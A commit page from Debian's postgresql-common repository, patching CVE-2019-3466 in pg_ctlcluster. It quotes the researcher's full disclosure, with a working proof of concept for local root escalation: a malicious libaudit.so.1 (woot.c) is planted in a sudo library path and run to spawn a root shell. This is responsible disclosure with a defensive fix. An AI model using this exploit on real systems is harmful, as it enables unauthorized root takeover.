Commit ec9d984b authored by Christoph Berg's avatar Christoph Berg

pg_ctlcluster: Drop privileges before creating socket and stats temp...

pg_ctlcluster: Drop privileges before creating socket and stats temp directories outside /var/run/postgresql

The default configuration is not affected by this change. Users with
directories on volatile storage (tmpfs) in other locations have to make sure
the parent directory is writable for the cluster owner. (CVE-2019-3466,
discovered by Rich Mirch)

> Rich Mirch
> rich@mirch.com
> PGP: https://0xm1rch.keybase.pub/rich-mirch.asc
>
> Title
>
> Privilege Escalation via Arbitrary Directory Creation in pg_ctlcluster
>
> Description
>
> The pg_ctlcluster script in the postgresql-common package in Debian buster is
> vulnerable to a local privilege escalation attack. A malicious actor with
> access to the postgres account can create arbitrary directories during
> startup or reload when called via service/systemctl or when the system boots
> up normally. This vulnerability can be leveraged to escalate privileges to root.
>
> The postgresql init script(/etc/init.d/postgresql) sources
> /usr/share/postgresql-common/init.d-functions which contain functions that call
> the pg_ctlcluster script during startup, reload, or shutdown. During a start or
> reload operation, pg_ctlcluster loads PostgreSQL configuration files under
> /etc/postgresql/cluster-version/cluster-name/pg_ctl.conf and
> /etc/postgresql/cluster-version/cluster-name/postgresql.conf. These files are
> owned by the postgres user. pg_ctlcluster contains logic for two values defined
> in these files, both which which represent directories. During a start/reload,
> if socketdir(defined in pg_ctl.conf) or stats_temp_directory(defined in
> postgresql.conf) is defined and the directory does not exist, pg_ctlcluster
> will create the directory and set the owner to the postgres user.
>
> This PoC will show the ability to gain root privileges using the default
> installation of postgresql-11.
>
> I have also verified the vulnerability on Ubuntu 19.04 with version 199 of
> postgresql-common. I have not contacted the Ubuntu security team yet. I assumed
> that Debian is the maintainer of this package based on the developer listed
> in the script. Please advise if I should contact them or if the Debian
> security team will handle that.
>
> Vulnerable lines in pg_ctlcluster that execute with root privileges.
>
> Note: Some lines were split for readability
>
> # recreate /var/run/postgresql
> if ($action ne 'stop' && ! -d $info{'socketdir'}) {
>     system 'install', '-d', '-m', 2775,
>       '-o', $info{'owneruid'}, '-g', $info{'ownergid'}, $info{'socketdir'};
> }
>
> # recreate stats_temp_directory
> if ($action ne 'stop' && $info{config}->{stats_temp_directory}
>    && ! -d $info{config}->{stats_temp_directory}) {
>     system 'install', '-d', '-m', 750,
>       '-o', $info{'owneruid'}, '-g', $info{'ownergid'},
>       $info{config}->{stats_temp_directory};
> }
>
> Test Environment
>
> OS: Debian GNU/Linux 10 (buster)
> Package: postgresql-common 200+deb10u2
>
>
> Steps to reproduce
>
> Note: This PoC will leverage the stats_temp_directory value in postgresql.conf.
> The same procedure can be used for the socketdir value in pg_ctl.conf.
>
>
> Step 1) As root install the postgresql-11 package.
>
>
> apt install postgresql-11
>
>
> Step 2) As the postgres user, modify the stats_temp_directory value in
> /etc/postgresql/11/main/postgresql.conf to point to /usr/lib/sudo/haswell. Diff
> included below.
>
> Note: When I discovered that I could create arbitrary directories owned by the
> postgres user I searched for an easy way to elevate privileges to the root
> account. I found that sudo attempts to load libraries from several non-existent
> directories.  /usr/lib/sudo/haswell was one of these paths and will be used for
> this PoC. Other possibilities may exist to elevate privileges using a similar
> technique.
>
>
> --- postgresql.conf.orig    2019-10-13 10:16:52.030874165 -0500
> +++ postgresql.conf    2019-10-13 10:23:06.054866973 -0500
> @@ -500,7 +500,8 @@
> #track_io_timing = off
> #track_functions = none            # none, pl, all
> #track_activity_query_size = 1024    # (change requires restart)
> -stats_temp_directory = '/var/run/postgresql/11-main.pg_stat_tmp'
> +#stats_temp_directory = '/var/run/postgresql/11-main.pg_stat_tmp'
> +stats_temp_directory = '/usr/lib/sudo/haswell'
>
>
> # - Monitoring -
>
>
> Step 3) As root restart the postgresql service.
>
>
> systemctl restart postgresql
>
>
> Step 4) Verify that the /usr/lib/sudo/haswell directory was created and the
> owner is set to postgres.
>
>
> ls -ld /usr/lib/sudo/haswell
>
>
> Step 5) As the postgres create woot.c. This is a stub library that will execute
> a shell as root when loaded by the privileged sudo binary.
>
>
> cat>woot.c<<EOF
> /*
>  * Author: Rich Mirch @0xm1rch
>  * PoC for pg_ctlcluster arbitrary directory creation
>  * gcc -fPIC -o woot.o -Wall -c woot.c
>  * gcc -Wall -shared -Wl,-soname,libaudit.so.1 \
>  *      -Wl,-init,woot -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o
>  * sudo
>  */
> #include <stdlib.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> void audit_open()
> {
>   return;
> }
>
> void audit_log_user_message()
> {
>   return;
> }
>
> void woot(){
>   setreuid(0,0);
>   execl("/bin/sh","/bin/sh",NULL);
> }
> EOF
>
>
> Step 6) Build libaudit.so.1 and store it in /usr/lib/sudo/haswell.
>
>
> gcc -fPIC -o woot.o -Wall -c woot.c
> gcc -Wall -shared -Wl,-soname,libaudit.so.1 \
>     -Wl,-init,woot -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o
>
>
> Step 7) Execute sudo to spawn a root shell.
>
> sudo
>
>
> Recommendations
>
> I have not included a patch because I am not sure of the best way to resolve
> the issue given the current design however these values are loaded from an
> untrusted context and special handling will be required.
parent a28f2247
postgresql-common (210) UNRELEASED; urgency=medium
* pg_ctlcluster: Drop privileges before creating socket and stats temp
directories outside /var/run/postgresql. The default configuration is not
affected by this change. Users with directories on volatile storage
(tmpfs) in other locations have to make sure the parent directory is
writable for the cluster owner. (CVE-2019-3466, discovered by Rich Mirch)
-- Christoph Berg <myon@debian.org> Tue, 12 Nov 2019 15:00:36 +0100
postgresql-common (209) unstable; urgency=medium
* pg_buildext: Fix installcheck for packages that don't have
......
......@@ -450,16 +450,29 @@ if ($action ne 'stop' && $info{'logfile'} && ! -e $info{'logfile'}) {
}
}
# recreate /var/run/postgresql
if ($action ne 'stop' && ! -d $info{'socketdir'}) {
system 'install', '-d', '-m', 2775,
'-o', $info{'owneruid'}, '-g', $info{'ownergid'}, $info{'socketdir'};
}
if ($action ne 'stop') {
# recreate /var/run/postgresql while possibly still running as root
if (! -d '/var/run/postgresql') {
system 'install', '-d', '-m', 2775, '-o', 'postgres', '-g', 'postgres', '/var/run/postgresql';
}
# recreate stats_temp_directory
if ($action ne 'stop' && $info{config}->{stats_temp_directory} && ! -d $info{config}->{stats_temp_directory}) {
system 'install', '-d', '-m', 750,
'-o', $info{'owneruid'}, '-g', $info{'ownergid'}, $info{config}->{stats_temp_directory};
# allow creating socket directories below /var/run/postgresql for any user
if ($info{socketdir} =~ m!^(/var)/run/postgresql/[\w_.-]+$! and ! -d $info{socketdir}) {
if (mkdir $info{socketdir}, 02775) { # don't use "install" here as it would allow stealing existing directories
chown $info{owneruid}, $info{ownergid}, $info{socketdir};
} else {
error "Could not create $info{socketdir}: $!";
}
}
# allow creating stats_temp_directory below /var/run/postgresql for any user
if ($info{config}->{stats_temp_directory} and $info{config}->{stats_temp_directory}=~ m!^(/var)/run/postgresql/[\w_.-]+$! and ! -d $info{config}->{stats_temp_directory}) {
if (mkdir $info{config}->{stats_temp_directory}, 0750) { # don't use "install" here as it would allow stealing existing directories
chown $info{owneruid}, $info{ownergid}, $info{config}->{stats_temp_directory};
} else {
error "Could not create $info{config}->{stats_temp_directory}: $!";
}
}
}
if ($> == 0) {
......@@ -483,6 +496,16 @@ if( $> != $info{'owneruid'} ) {
(getpwuid $info{'owneruid'})[0].') or root';
}
# create socket directory (if it wasn't already created in /var/run/postgresql by the code above)
if ($action ne 'stop' && ! -d $info{socketdir}) {
system 'install', '-d', '-m', 2775, $info{socketdir};
}
# create stats_temp_directory (if it wasn't already created in /var/run/postgresql by the code above)
if ($action ne 'stop' && $info{config}->{stats_temp_directory} && ! -d $info{config}->{stats_temp_directory}) {
system 'install', '-d', '-m', 750, $info{config}->{stats_temp_directory};
}
$pg_ctl = $bindir ? "$bindir/pg_ctl" : get_program_path ('pg_ctl', $version);
error "Could not find pg_ctl executable for version $version" unless ($pg_ctl);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment